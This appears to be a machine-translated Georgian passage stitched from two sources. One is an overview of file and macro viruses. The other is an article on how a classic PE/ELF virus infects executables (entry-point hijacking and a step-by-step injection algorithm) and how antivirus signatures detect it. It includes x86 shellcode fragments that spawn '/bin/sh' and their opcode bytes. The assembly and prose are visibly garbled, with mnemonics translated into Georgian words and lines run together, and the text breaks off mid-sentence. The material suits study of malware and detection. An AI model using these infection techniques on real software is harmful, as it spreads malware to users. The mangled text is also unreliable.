ფაილის ვირუსების ჩასმა შესაძლებელია მხოლოდ შესრულებად ფაილებში: სურათების ფაილები(ფაილები, რომლებიც შედგება ოპერაციული სისტემის ბრძანებებისგან), ფაილების თვითმმართველობის ამოღება, მომხმარებლის და სისტემის პროგრამები მანქანების კოდები, ასევე დოკუმენტებში (ცხრილებში), რომლებსაც აქვთ მაკრო ბრძანებები (მაკროები).

IBM-თან თავსებადი კომპიუტერებისთვის, ვირუსი შეიძლება იყოს ჩაშენებული ფაილებში შემდეგი ტიპები: სერიული ფაილები (BAT), ჩამოტვირთვადი დრაივერები (SYS), პროგრამები მანქანურ (ორობითი) კოდებში (EXE, COM), Word დოკუმენტები (DOC) 6.0 და უფრო მაღალი ვერსიიდან, EXCEL ცხრილები (XLS). მაკრო ვირუსები ასევე შეიძლება ჩაშენდეს მაკრო ბრძანებების შემცველ სხვა ფაილებში.

ფაილის ვირუსები შეიძლება განთავსდეს ინფიცირებული ფაილის დასაწყისში, შუა და ბოლოს.

ინფიცირებული ფაილის სხეულში ვირუსის მდებარეობის მიუხედავად, ფაილზე კონტროლის გადატანის შემდეგ, ჯერ ვირუსის ბრძანებები სრულდება.

ფაილის დასაწყისამდევირუსი შემოტანილია სამი გზით:

პირველი არის ფაილის ბოლომდე გადაწერა და თავისუფალ სივრცეში ვირუსი იწერება;

მეორე გულისხმობს ვირუსისა და ინფიცირებული ფაილის RAM-ში წაკითხვას, მათ ერთ ფაილში გაერთიანებას და ფაილის ადგილზე ჩაწერას;

მესამე - ვირუსი იწერება ფაილის დასაწყისში შიგთავსის შენახვის გარეშე (ამ შემთხვევაში, ინფიცირებული ფაილი უფუნქციო ხდება).

ფაილის შუაშივირუსი ასევე შეიძლება დაიწეროს სხვადასხვა გზით:

პირველი - ფაილი შეიძლება "გაფართოებული" და ვირუსის ჩაწერა თავისუფალ სივრცეში;

მეორე - ვირუსის ჩადგმა შესაძლებელია ფაილის შუაში ფაილის იმ მონაკვეთის შენახვის გარეშე, სადაც განთავსებულია ვირუსი;

მესამე („მუტანტის“ ვირუსი) იყენებს ფაილის ცალკეული განყოფილებების შეკუმშვის მეთოდს და ფაილის სიგრძე შეიძლება არ შეიცვალოს ვირუსის შემოტანის შემდეგ.

ყველაზე ხშირად ვირუსი შემოდის ფაილის ბოლომდე, ხოლო ფაილის პირველი ბრძანებები იცვლება ვირუსის სხეულში გადასვლის ბრძანებებით.

ალგორითმი ფაილური ვირუსისთვისშეიძლება იყოს შემდეგი:

1) რეზიდენტი ვირუსი ამოწმებს თუ არა ოპერატიული მეხსიერებადა საჭიროების შემთხვევაში აინფიცირებს მას. არარეზიდენტი ვირუსი ეძებს არაინფიცირებულ ფაილებს და აინფიცირებს მათ;

2) მიიღება მოქმედებები პროგრამის ფუნქციონირების შესანარჩუნებლად, რომელშიც ჩაშენებულია ვირუსი (პროგრამის პირველი ბაიტების აღდგენა, პროგრამის მისამართების დაყენება და ა.შ.);

3) ვირუსის დესტრუქციული ფუნქცია ხორციელდება შესაბამისი პირობების დაკმაყოფილების შემთხვევაში;

4) კონტროლი გადაეცემა პროგრამას, რომლის ფაილი შეიცავს ვირუსს.

არსებობისთვის მაკროვირუსები(მაკროენებზე დაწერილი ვირუსები, ჩაშენებული ტექსტის რედაქტორებში, ცხრილებში და ა.შ.) კონკრეტულ სისტემაში (რედაქტორი), აუცილებელია, რომ მასში ჩაშენებულ მაკრო ენას ჰქონდეს შემდეგი შესაძლებლობები:

პროგრამის დაკავშირება მაკრო ენაზე კონკრეტულ ფაილთან;

მაკრო პროგრამების კოპირება ერთი ფაილიდან მეორეში;

მოიპოვეთ მაკრო პროგრამის კონტროლი მომხმარებლის ჩარევის გარეშე.

ამ პირობებს აკმაყოფილებენ რედაქტორები MS Word, MS Office, Ami Pro და ცხრილების პროცესორი MS Excel (ეს სისტემები იყენებენ მაკრო ენებს Word Basic და Visual Basic).

მაკრო პროგრამების შემცველ ფაილებზე გარკვეული მოქმედებების შესრულებისას (გახსნა, შენახვა, დახურვა და ა.შ.), ფაილის მაკრო პროგრამები ავტომატურად სრულდება. ამ შემთხვევაში კონტროლი ეძლევა მაკროვირუსებს, რომლებიც აქტიურდებიან მანამ, სანამ შესაბამისი რედაქტორი (პროცესორი) არის აქტიური. ამიტომ, სხვა ფაილთან მუშაობისას "ინფიცირებულ რედაქტორში" (პროცესორში), ის ასევე ინფიცირდება.

მოდით ვისაუბროთ კომპიუტერულ ვირუსებზე? არა, არ არის იმის შესახებ, თუ რა დაიჭირა თქვენმა ანტივირუსმა გუშინ. არა იმაზე, რაც გადმოწერეთ ინსტალერის საფარქვეშ შემდეგი Photoshop-ისთვის. არა Rootkit-e-ზე, რომელიც ზის თქვენს სერვერზე და მასკარადირებულია სისტემური პროცესი. არა საძიებო ზოლების, ჩამოტვირთვების და სხვა მავნე პროგრამების შესახებ. არა კოდზე, რომელიც ცუდ საქმეებს აკეთებს თქვენი სახელით და სურს თქვენი ფული. არა, ეს ყველაფერი კომერციაა, არა რომანტიკა...

ჩვენ ვისაუბრებთ კომპიუტერულ ვირუსებზე, როგორც კოდზე, რომელსაც შეუძლია საკუთარი ასლების გენერირება, თაობიდან თაობას შეცვლა. რომელიც, ისევე როგორც მისი ბიოლოგიური კოლეგები, მოითხოვს გადამტან ფაილს, რომელიც ფუნქციონირებს და რჩება ფუნქციონალური, რათა სიცოცხლე მისცეს ვირუსის ახალ თაობებს. რაც რეპროდუცირებისთვის მოითხოვს ნაყოფიერ გარემოს, უამრავ გემრიელ შესრულებად ფაილს, ასევე უამრავ სულელურ და აქტიური მომხმარებლებირათა მათ შეძლონ მათი გაშვება. ასე რომ, სახელწოდება „ვირუსი“ არ არის მხოლოდ კარგი ეტიკეტი მავნე პროგრამის აღსაწერად, კომპიუტერული ვირუსი, მისი კლასიკური გაგებით, არის ერთეული, რომელიც ძალიან ახლოსაა მის ბიოლოგიურ კოლეგასთან. კაცობრიობას, როგორც არაერთხელ დადასტურდა, შეუძლია შექმნას ძალიან დახვეწილი გადაწყვეტილებები, განსაკუთრებით მაშინ, როდესაც საქმე ეხება რაღაცის შექმნას, რაც ზიანს აყენებს სხვა ადამიანებს.

ასე რომ, დიდი ხნის წინ, მას შემდეგ რაც DOS მოვიდა ხალხთან და თითოეულ პროგრამისტს ჰქონდა თავისი პატარა სამყარო, სადაც მისამართების სივრცე იგივე იყო და ფაილის ნებართვები ყოველთვის იყო rwx, გაჩნდა იდეა იმის შესახებ, შეეძლო თუ არა პროგრამას საკუთარი თავის კოპირება. "რა თქმა უნდა, შეიძლება!" - თქვა პროგრამისტმა და დაწერა კოდი, რომელიც აკოპირებს საკუთარ შესრულებად ფაილს. შემდეგი აზრი იყო "შეიძლება თუ არა ორი პროგრამის გაერთიანება ერთში?" "რა თქმა უნდა, მათ შეუძლიათ!" თქვა პროგრამისტმა და დაწერა პირველი ინფიცირებული. "Მაგრამ რატომ?" - გაიფიქრა მან და ეს გახდა კომპიუტერული ვირუსების ეპოქის დასაწყისი. როგორც ირკვევა, კომპიუტერთან არევა და ყველანაირი მცდელობა, რომ თავიდან აიცილო გამოვლენა, ძალიან სახალისოა, ხოლო ვირუსების შექმნა ძალიან საინტერესო ბიზნესია სისტემის პროგრამისტის თვალსაზრისით. გარდა ამისა, ბაზარზე გამოჩენილმა ანტივირუსებმა ვირუსის შემქმნელებს სერიოზული გამოწვევა დაუყენეს მათ პროფესიონალიზმს.

ზოგადად, ტექსტი საკმაოდ საკმარისია სტატიისთვის, მოდით გადავიდეთ საქმეზე. მინდა ვისაუბრო კლასიკურ ვირუსზე, მის სტრუქტურაზე, ძირითად კონცეფციებზე, გამოვლენის მეთოდებსა და ალგორითმებზე, რომლებსაც ორივე მხარე იყენებს გამარჯვებისთვის.

ვირუსის ანატომია

ჩვენ ვისაუბრებთ შესრულებად ფაილებში მცხოვრებ ვირუსებზე PE და ELF ფორმატებში, ანუ ვირუსებზე, რომელთა სხეული არის შესრულებადი კოდი x86 პლატფორმისთვის. გარდა ამისა, შეიძლება ჩვენი ვირუსი არ განადგურდეს ორიგინალური ფაილი, სრულად ინარჩუნებს მის ფუნქციონირებას და სწორად აინფიცირებს ნებისმიერ შესაფერის შესრულებად ფაილს. დიახ, გატეხვა ბევრად უფრო ადვილია, მაგრამ ჩვენ შევთანხმდით ვისაუბროთ სწორ ვირუსებზე, არა? მასალის რელევანტური შესანარჩუნებლად, მე არ დავკარგავ დროს ძველი COM ფორმატის ინფიცირებულების გადახედვაზე, თუმცა სწორედ მასზე იქნა გამოცდილი შესრულებად კოდთან მუშაობის პირველი მოწინავე ტექნიკა.

ვირუსის კოდის ძირითადი ნაწილებია ინფიცირებული და დატვირთვა. Infector არის კოდი, რომელიც ეძებს ინფიცირებისთვის შესაფერის ფაილებს და მათში აწვდის ვირუსს, ცდილობს მაქსიმალურად დამალოს ინექციის ფაქტი ფაილის ფუნქციონალური დაზიანების გარეშე. Payload არის კოდი, რომელიც ასრულებს ვირუსის შემქმნელის მიერ მოთხოვნილ ფაქტობრივ მოქმედებებს, მაგალითად, სპამის გაგზავნას, ვინმეს DoSing ან უბრალოდ კომპიუტერზე ტექსტური ფაილის „Virya was here“ დატოვებას. ჩვენთვის სრულიად უმნიშვნელოა, რა არის დატვირთვის შიგნით, მთავარია, რომ ვირუსის შემქმნელი ყველანაირად ცდილობს მისი შინაარსის დამალვას.

დავიწყოთ ვირუსის კოდის თვისებებით. კოდის დასანერგად უფრო მოსახერხებელი რომ გახადოთ, არ გსურთ კოდის და მონაცემების გამიჯვნა, ამიტომ ჩვეულებრივ გამოიყენება მონაცემთა ინტეგრაცია პირდაპირ შესრულებად კოდში. ისე, მაგალითად, ასე:
jmp გაგზავნა the_back: mov eax, 0x4 mov ebx, 0x1 pop ecx ; მისამართი "Hello, World" იქნება აღებული stack mov edx, 0xF int 0x80 ... გაგზავნა: call the_back ; შესრულების შემდეგ, "დაბრუნების" მისამართი იქნება სტეკზე, ე.ი. მისამართი "გამარჯობა, მსოფლიო\n" db "გამარჯობა, მსოფლიო!", 0Dh, 0Ah
ან ასე:
დააჭირეთ 0x68732f2f; "hs//" push 0x6e69622f; „nib/“ mov ebx, esp; ESP-ში სტრიქონის მისამართი არის „/bin/sh“ mov al, 11 int 0x80

კოდის ყველა ეს ვარიანტი, გარკვეულ პირობებში, უბრალოდ შეიძლება დაკოპირდეს მეხსიერებაში და შესრულდეს JMP პირველი ინსტრუქციის მიხედვით. ამ კოდის სწორად დაწერისას, სწორ ოფსეტურებზე ზრუნვით, სისტემური ზარები, სტეკის სისუფთავე შესრულებამდე და შესრულების შემდეგ და ა.შ., ის შეიძლება იყოს ჩასმული ბუფერში სხვისი კოდით.

დავუშვათ, ვირუსის შემქმნელს აქვს ამ სტილში ვირუსის კოდის დაწერის შესაძლებლობა და ახლა მას სჭირდება მისი შეყვანა არსებულ შესრულებად ფაილში. მან უნდა იზრუნოს ორ რამეზე:

• სად დავაყენოთ ვირუსი? აუცილებელია იპოვოთ საკმარისი ადგილი ვირუსისთვის, რომ იქ მოთავსდეს, ჩაწეროთ ის, თუ ეს შესაძლებელია, ფაილის გატეხვის გარეშე და ისე, რომ კოდის შესრულება დაშვებული იყოს იმ ადგილას, სადაც ვირუსი მთავრდება.
• როგორ გადავიტანოთ კონტროლი ვირუსზე? უბრალოდ ვირუსის ფაილში ჩასმა არ არის საკმარისი, თქვენ ასევე უნდა გადახვიდეთ მის სხეულზე და მისი მუშაობის დასრულების შემდეგ დააბრუნოთ კონტროლი მსხვერპლის პროგრამაში. ან სხვა თანმიმდევრობით, მაგრამ, ყოველ შემთხვევაში, შევთანხმდით, რომ არაფერი არ გატეხილიყო, არა?

ასე რომ, მოდით შევხედოთ ფაილში ჩაშენებას. Windows-სა და Linux-ზე x86 პლატფორმის თანამედროვე შესრულებადი ფორმატებია PE (Portable Executable) და ELF (Executable and Linkable Format). თქვენ შეგიძლიათ მარტივად იპოვოთ მათი სპეციფიკაციები სისტემის დოკუმენტაციაში და თუ საქმე გაქვთ შესრულებადი კოდის დაცვის საკითხებთან, ნამდვილად არ გამოტოვებთ მათ. შესრულებადი ფორმატები და ჩამტვირთველი (ოპერაციული სისტემის კოდი, რომელიც მუშაობს შესრულებადი ფაილი) არის ერთ-ერთი „სპილო“, რომელზეც დგას ოპერაციული სისტემა. გაშვების პროცედურა. exe ფაილიმაგრამ ეს არის ძალიან რთული ალგორითმულად პროცესი მრავალი ნიუანსით და თქვენ შეგიძლიათ ისაუბროთ მასზე ათეულ სტატიაში, რომლებსაც აუცილებლად იპოვით, თუ თემა გაინტერესებთ. მე შემოვიფარგლები მარტივი მიმოხილვით, რომელიც საკმარისია გაშვების პროცესის ძირითადი გაგებისთვის. რომ პომიდორს არ მესროლონ, ქვემოთ კომპილატორით ვიგულისხმებ პროგრამების მთელ კომპლექსს, რომელიც ბრუნდება წყარომზა შესრულებად ფაილში, ეს არის, ფაქტობრივად, შემდგენელი + ლინკერი.

შესრულებადი ფაილი (PE ან ELF) შედგება სათაურისა და სექციების ნაკრებისგან. სექციები გასწორებულია (იხ. ქვემოთ) ბუფერები, რომლებიც შეიცავს კოდს ან მონაცემებს. ფაილის გაშვებისას, სექციები კოპირდება მეხსიერებაში და მეხსიერება გამოყოფილია მათთვის, და არა აუცილებელი მოცულობა, რომელიც მათ დაიკავეს დისკზე. სათაური შეიცავს განყოფილების განლაგებას და ეუბნება ჩამტვირთველს, თუ როგორ მდებარეობს სექციები ფაილში, როდესაც ის დისკზეა, და როგორ უნდა განლაგდეს ისინი მეხსიერებაში, სანამ კონტროლი გადაიცემა ფაილში არსებულ კოდზე. ჩვენ გვაინტერესებს სამი ძირითადი პარამეტრი თითოეული განყოფილებისთვის: psize, vsize და flags. Psize (ფიზიკური ზომა) წარმოადგენს დისკის მონაკვეთის ზომას. Vsize (ვირტუალური ზომა) - განყოფილების ზომა მეხსიერებაში ფაილის ჩატვირთვის შემდეგ. დროშები – სექციის ატრიბუტები (rwx). Psize და Vsize შეიძლება მნიშვნელოვნად განსხვავდებოდეს, მაგალითად, თუ პროგრამისტი აცხადებს პროგრამაში მილიონი ელემენტის მასივს, მაგრამ აპირებს მის შევსებას შესრულების დროს, შემდგენელი არ გაზრდის psize-ს (არ არის საჭირო მასივის შიგთავსის შენახვა დისკზე გაშვებამდე), მაგრამ vsize გაზრდის მას მილიონით (გაშვების დროს, საკმარისი მეხსიერება უნდა იყოს გამოყოფილი მასივისთვის).

დროშები (წვდომის ატრიბუტები) მიენიჭება მეხსიერების გვერდებს, რომლებშიც განყოფილება იქნება გამოსახული. მაგალითად, შესრულებადი კოდის მქონე განყოფილებას ექნება r_x (წაკითხვა, შესრულება) ატრიბუტები, ხოლო მონაცემთა განყოფილებას ექნება rw_ (წაკითხვა, ჩაწერა) ატრიბუტები. პროცესორი, რომელიც ცდილობს შეასრულოს კოდი გვერდზე შესრულების დროშის გარეშე, გამოიმუშავებს გამონაკლისს, იგივე ეხება w ატრიბუტის გარეშე გვერდზე ჩაწერის მცდელობას, ამიტომ ვირუსის კოდის განთავსებისას ვირუსის შემქმნელმა უნდა გაითვალისწინოს მეხსიერების გვერდების ატრიბუტები, რომლებშიც განთავსდება ვირუსის კოდი. ბოლო დრომდე, არაინიციალიზებული მონაცემების სტანდარტულ სექციებს (მაგალითად, პროგრამის სტეკის არეალს) ჰქონდა rwx (წაკითხვა, ჩაწერა, შესრულება) ატრიბუტები, რამაც შესაძლებელი გახადა კოდის პირდაპირ კოპირება სტეკზე და იქ შესრულება. დღესდღეობით მიჩნეულია არამოდური და სახიფათო და ბოლო დროს ოპერატიული სისტემასტეკის არე მხოლოდ მონაცემებისთვისაა. რა თქმა უნდა, პროგრამას შეუძლია შეცვალოს მეხსიერების გვერდის ატრიბუტები გაშვების დროს, მაგრამ ეს ართულებს განხორციელებას.

ასევე, სათაური შეიცავს Entry Point - პირველი ინსტრუქციის მისამართს, საიდანაც იწყება ფაილის შესრულება.

ასევე აუცილებელია აღინიშნოს შესრულებადი ფაილების ისეთი მნიშვნელოვანი თვისება ვირუსების შემქმნელებისთვის, როგორიცაა გასწორება. იმისათვის, რომ ფაილი ოპტიმალურად წაიკითხოს დისკიდან და გამოჩნდეს მეხსიერებაში, შესრულებადი ფაილების სექციები გასწორებულია საზღვრების გასწვრივ, რომლებიც არის 2-ის სიმძლავრის ნამრავლი, და თავისუფალი ადგილი, ბალიშის დარჩენილი ნაწილი შემდგენელის შეხედულებისამებრ ივსება რაღაცით. მაგალითად, ლოგიკურია სექციების გასწორება მეხსიერების გვერდის ზომის მიხედვით - მაშინ მოსახერხებელია მისი მთლიანად კოპირება მეხსიერებაში და ატრიბუტების მინიჭება. არც კი მახსენდება ყველა ეს გასწორება, სადაც არის მეტ-ნაკლებად სტანდარტული მონაცემები ან კოდი, ის გასწორებულია (ნებისმიერმა პროგრამისტმა იცის, რომ კილომეტრში არის ზუსტად 1024 მეტრი). პორტატული შესრულებადი (PE) და შესრულებადი ლინუქსის ფორმატის (ELF) სტანდარტების აღწერა უსაფრთხოების მეთოდებთან მუშაობის შესასრულებელი კოდისთვის არის სახელმძღვანელოები.

ვინაიდან ყველა ამ განყოფილების შიგნით მისამართები დაკავშირებულია, უბრალოდ, კოდის ნაწილის შუაში ჩასმა და JMP-ით მისი „გახვევა“ არ იმუშავებს. ამიტომ, ვირუსის კოდის შეყვანის პოპულარული ადგილებია:

• ძირითადი კოდის განყოფილება (ვირუსის მიერ გადაწერა შემსრულებელი კოდის დასაწყისი, რომელიც იწყება შესასვლელი წერტილიდან).
• ჩასმა სათაურის ბოლოსა და პირველ განყოფილებას შორის. იქ არაფერია და სავსებით შესაძლებელია პატარა ვირუსის (ან მისი ჩამტვირთველის) მოთავსება ფაილის გატეხვის გარეშე.
• ახალი განყოფილება, რომელიც შეიძლება დაემატოს სათაურს და განთავსდეს ფაილში ყველა დანარჩენის შემდეგ. ამ შემთხვევაში შიდა გადაადგილებები არ გატყდება და ადგილის პრობლემაც არ არის. მართალია, ფაილის ბოლო განყოფილება, რომელშიც დაშვებულია შესრულება, რა თქმა უნდა, მიიპყრობს ევრისტიკის ყურადღებას.
• შეფუთვა განყოფილების შიგთავსის ბოლოსა და მის გასწორებულ ბოლოებს შორის. ეს ბევრად უფრო რთულია, რადგან ჯერ სწორედ ეს „დასასრული“ უნდა ვიპოვოთ და ფაქტი არ არის, რომ გაგვიმართლებს და საკმარისი ადგილი გვექნება. მაგრამ ზოგიერთი შემდგენლისთვის ამ ადგილის აღმოჩენა შესაძლებელია უბრალოდ დამახასიათებელი ბაიტით

არსებობს უფრო მზაკვრული გზები, რომელთაგან ზოგიერთს მეორე სტატიაში აღვწერ.

ახლა რაც შეეხება კონტროლის გადაცემას. იმისათვის, რომ ვირუსმა იმუშაოს, მისმა კოდმა როგორმე უნდა მოიპოვოს კონტროლი. ყველაზე აშკარა გზა: ჯერ ვირუსი იღებს კონტროლს, შემდეგ კი, მას შემდეგ, რაც ის იმუშავებს, მასპინძელი პროგრამა. ეს უმარტივესი მეთოდია, მაგრამ არის ისეთი ვარიანტებიც, როდესაც ვირუსი აკონტროლებს, მაგალითად, მას შემდეგ, რაც მასპინძელი გამორთულია, ან შესრულების შუა პერიოდში, „შეცვლის“ რაიმე ფუნქციის შესრულებას. აქ მოცემულია კონტროლის გადაცემის რამდენიმე ტექნიკა (ტერმინი Entry Point ან EP, რომელიც გამოიყენება ქვემოთ, არის შესვლის წერტილი, ანუ მისამართი, რომელზეც სისტემის ჩამტვირთველი გადასცემს კონტროლს მას შემდეგ, რაც იგი მოამზადებს შესრულებად ფაილს გაშვებისთვის):

1. JMP ცვლის პირველ ბაიტებს ფაილის შესვლის წერტილში ვირუსის სხეულით. ვირუსი ინახავს წაშლილ ბაიტებს თავის სხეულში და დასრულების შემდეგ საკუთარი ნამუშევარი, აღადგენს მათ და გადასცემს კონტროლს აღდგენილი ბუფერის დასაწყისში.
2. წინა მეთოდის მსგავსი მეთოდი, მაგრამ ბაიტების ნაცვლად, ვირუსი ინახავს რამდენიმე სრულ მანქანას ინსტრუქციას Entry Point-ში, შემდეგ მას შეუძლია, არაფრის აღდგენის გარეშე (მხოლოდ სტეკის სწორი გასუფთავების მონიტორინგი), შეასრულოს ისინი საკუთარი სამუშაოს დასრულების შემდეგ. და კონტროლი გადაიტანეთ ინსტრუქციის მისამართზე „მოპარული“.
3. როგორც განხორციელების შემთხვევაში, უფრო ეშმაკური გზებიც არსებობს, მაგრამ მათაც ქვემოთ განვიხილავთ, ან შემდეგ სტატიამდე გადავდებთ.

ყველა ეს არის გზა, რათა სწორად ჩასვათ ბუფერი კოდით შესრულებად ფაილში. ამ შემთხვევაში მე-2 და მე-3 პუნქტები. გულისხმობს ფუნქციონირებას, რომელიც საშუალებას გაძლევთ გაიგოთ რომელი ბაიტი არის ინსტრუქცია და სად არის საზღვრები ინსტრუქციებს შორის. ყოველივე ამის შემდეგ, ჩვენ არ შეგვიძლია ინსტრუქციების "გაწყვეტა" შუაზე, წინააღმდეგ შემთხვევაში ყველაფერი დაიშლება. ამრიგად, ჩვენ შეუფერხებლად გადავდივართ ვირუსებში დემონტაჟის განხილვაზე. ჩვენ დაგვჭირდება კონცეფცია, თუ როგორ მუშაობს დემონტაჟები, რათა განვიხილოთ შესრულებადი კოდით მუშაობის ყველა ნორმალური ტექნიკა, ასე რომ, კარგია, თუ ახლა ცოტათი აღვწერ.

თუ ჩვენ განვახორციელებთ ჩვენს კოდს ზუსტად ინსტრუქციებს შორის არსებულ პოზიციაზე, შეგვიძლია შევინახოთ კონტექსტი (სტაკი, დროშები) და ვირუსის კოდის შესრულების შემდეგ, აღვადგინოთ ყველაფერი უკან, დავაბრუნოთ კონტროლი მასპინძელ პროგრამაზე. რა თქმა უნდა, ეს ასევე შეიძლება იყოს პრობლემა, თუ გამოიყენება კოდის მთლიანობის მონიტორინგის ინსტრუმენტები, ანტი-გამართვა და ა.შ., მაგრამ ეს ასევე განხილული იქნება მეორე სტატიაში. ასეთი პოზიციის მოსაძებნად, ჩვენ გვჭირდება ეს:

• მოათავსეთ მაჩვენებელი გარკვეული ინსტრუქციის დასაწყისში (თქვენ არ შეგიძლიათ უბრალოდ შემთხვევითი ადგილი დაიკავოთ შესრულებად განყოფილებაში და დაიწყოთ მისგან დაშლა; იგივე ბაიტი შეიძლება იყოს ინსტრუქციის ოპკოდიც და მონაცემებიც)
• განსაზღვრეთ ინსტრუქციის სიგრძე (x86 არქიტექტურისთვის, ინსტრუქციებს აქვთ სხვადასხვა სიგრძე)
• გადაიტანეთ მაჩვენებელი ამ სიგრძეზე წინ. ჩვენ აღმოვჩნდებით შემდეგი ინსტრუქციის დასაწყისში.
• გაიმეორეთ სანამ არ გადავწყვეტთ გაჩერებას

ეს არის მინიმალური ფუნქციონალობა, რომელიც საჭიროა ინსტრუქციის შუაში მოხვედრის თავიდან ასაცილებლად, ხოლო ფუნქციას, რომელიც აღებს მაჩვენებელს ბაიტის სტრიქონზე და აბრუნებს ინსტრუქციის სიგრძეს, ეწოდება სიგრძის დემონტაჟი. მაგალითად, ინფექციის ალგორითმი შეიძლება იყოს ასეთი:

1. ჩვენ ვირჩევთ გემრიელ შესრულებად ფაილს (საკმარისად სქელი ვირუსის სხეულისთვის, სექციების სასურველი განაწილებით და ა.შ.).
2. ჩვენ ვკითხულობთ ჩვენს კოდს (ვირუსის სხეულის კოდი).
3. ჩვენ ვიღებთ პირველ რამდენიმე ინსტრუქციას მსხვერპლის ფაილიდან.
4. ჩვენ მათ ვამატებთ ვირუსის კოდს (ვინახავთ ფუნქციონირების აღსადგენად აუცილებელ ინფორმაციას).
5. ჩვენ ვამატებთ ვირუსის კოდს ინსტრუქციაზე გადასვლას, რომელიც აგრძელებს მსხვერპლის კოდის შესრულებას. ამრიგად, საკუთარი კოდის შესრულების შემდეგ, ვირუსი სწორად შეასრულებს მსხვერპლის კოდის პროლოგს.
6. ჩვენ ვქმნით ახალი განყოფილება, ჩაწერეთ ვირუსის კოდი და დაარედაქტირეთ სათაური.
7. ამ პირველი ინსტრუქციების ნაცვლად ჩვენ ვაყენებთ ვირუსის კოდზე გადასვლას.

ეს არის სრულიად სწორი ვირუსის ვარიანტი, რომელსაც შეუძლია შეაღწიოს შესრულებად ფაილში, არაფერი დაარღვიოს, ფარულად შეასრულოს მისი კოდი და დააბრუნოს შესრულება მასპინძელ პროგრამაში. ახლა მოდით დავიჭიროთ იგი.

დეტექტორის ანატომია

უეცრად, არსაიდან, თეთრ კომპიუტერზე ჩნდება რაინდი, მარცხენა ხელში აქვს დებაგერი, მარჯვენაში კი დემონტაჟი, ანტივირუსული კომპანიის პროგრამისტი. საიდან გაჩნდა? რა თქმა უნდა, თქვენ წარმოიდგინეთ. დიდი ალბათობით ის იქ „მიმდებარე ტერიტორიიდან“ გამოჩნდა. ანტივირუსულ სფეროს პროგრამირების თვალსაზრისით დიდ პატივს სცემენ მცოდნეებმა, რადგან ამ ბიჭებს უწევთ ძალიან დახვეწილი ალგორითმების შეხება და საკმაოდ დაძაბულ პირობებში. თავად განსაჯეთ: თქვენ გაქვთ ნებისმიერი ინფექციის ასობით ათასი ასლი და შესრულებადი ფაილი თქვენს შეყვანაში, თქვენ უნდა იმუშაოთ თითქმის რეალურ დროში და შეცდომის ღირებულება ძალიან მაღალია.

ანტივირუსისთვის, როგორც ნებისმიერისთვის სასრული მდგომარეობის მანქანა, ორობითი გადაწყვეტილების მიღებისას "დიახ/არა" (ინფიცირებული/ჯანმრთელი), არსებობს ორი ტიპის შეცდომები - ცრუ დადებითი და ცრუ უარყოფითი (არასწორად აღიარა ფაილი, როგორც ინფექციური, შეცდომით გამოტოვა ინფიცირებული). გასაგებია, რომ შეცდომების საერთო რაოდენობა ნებისმიერ შემთხვევაში უნდა შემცირდეს, მაგრამ ცრუ ნეგატივი ბევრად უფრო უსიამოვნოა ანტივირუსისთვის, ვიდრე ცრუ დადებითი. ”ტორენტის ჩამოტვირთვის შემდეგ, გამორთეთ ანტივირუსი თამაშის ინსტალაციამდე” - კარგად ჟღერს? ეს არის „ცრუ დადებითი“ - crack.exe-ს რაიმეს ჩაწერა შესრულებად .exe ფაილში ჰგავს ვირუსს საკმაოდ ჭკვიანი ევრისტიკული ანალიზატორისთვის (იხ. ქვემოთ). როგორც ნათქვამია: "სჯობს იყო უსაფრთხო, ვიდრე ბოდიში".

მე ვფიქრობ, რომ არ არის საჭირო თქვენთვის თანამედროვე ანტივირუსის კომპონენტების აღწერა, ისინი ყველა ერთი ფუნქციის გარშემო ტრიალებს - ანტივირუსული დეტექტორი. მონიტორი, რომელიც ამოწმებს ფაილებს, დისკის სკანირება, შემოწმება ფოსტის დანართები, კარანტინი და უკვე დასკანირებული ფაილების შენახვა - ეს ყველაფერი მიბმულია გამოვლენის მთავარ ბირთვთან. მეორე ძირითადი კომპონენტიანტივირუსი - მახასიათებლების შევსებული მონაცემთა ბაზები, რომელთა გარეშეც შენარჩუნებულია ანტივირუსი მიმდინარე მდგომარეობაშეუძლებელია. მესამე, საკმაოდ მნიშვნელოვანი, მაგრამ ცალკეული სტატიების სერიის შემადგენელი კომპონენტია საეჭვო აქტივობის სისტემის მონიტორინგი.

ასე რომ (ჩვენ განვიხილავთ კლასიკურ ვირუსებს), შეყვანისას გვაქვს შესრულებადი ფაილი და მასში ასობით ათასი პოტენციური ვირუსიდან ერთი. გამოვავლინოთ. დაე ეს იყოს შესრულებადი ვირუსის კოდის ნაწილი:
XX XX XX XX XX XX ; ვირუსის დასაწყისი N ბაიტია. . . 68 2F 2F 73 68 Push 0x68732f2f; “hs//” 68 2F 62 69 6E push 0x6e69622f ; „nib/“ 8B DC mov ebx, esp; ESP-ში ხაზის მისამართი არის „/bin/sh“ B0 11 mov al, 11 CD 80 int 0x80 XX XX XX XX ; ვირუსის ბოლო არის M ბაიტი. . .
დაუყოვნებლივ მინდა ავიღო ოპკოდების პაკეტი (68 2F 2F 73 68 68 2F 62 69 6E 8B DC B0 11 CD 80) და ვეძებ ამ ბაიტის სტრიქონს ფაილში. თუ იპოვეს, დაიჭირეს, ნაბიჭვარი. მაგრამ, სამწუხაროდ, გამოდის, რომ ბაიტების იგივე პაკეტი გვხვდება სხვა ფაილებში (კარგი, თქვენ არასოდეს იცით, ვინ რეკავს ბრძანების თარჯიმანი), და კიდევ არის "ასობით" ასეთი სტრიქონი მოსაძებნად, თუ თითოეულს მოძებნით, მაშინ ოპტიმიზაცია არ დაგეხმარებათ. ერთადერთი, სწრაფი და სწორი გზაფაილში ასეთი ხაზის არსებობის შემოწმება ნიშნავს მისი არსებობის შემოწმებას ფიქსირებული ოფსეტურით. საიდან შეიძლება მივიღო?

გავიხსენოთ "მიმდებარე ტერიტორია" - განსაკუთრებით ის ადგილები, სადაც ვირუსი თავს აყენებს და როგორ გადასცემს კონტროლს საკუთარ თავზე:

• ვირუსი ჩაშენებულია სათაურსა და პირველი განყოფილების დასაწყისს შორის. ამ შემთხვევაში, თქვენ შეგიძლიათ შეამოწმოთ ამ ბიტესტრირების არსებობა ოფსეტურით
  „სათაურის სიგრძე“ + N (სადაც N არის ბაიტების რაოდენობა ვირუსის დასაწყისიდან ბაიტის სტრიქონამდე)
• ვირუსი დევს ახალ, ცალკეულ განყოფილებაში. ამ შემთხვევაში, თქვენ შეგიძლიათ შეამოწმოთ ბაიტის სტრიქონის არსებობა ყველა განყოფილების დასაწყისიდან კოდით
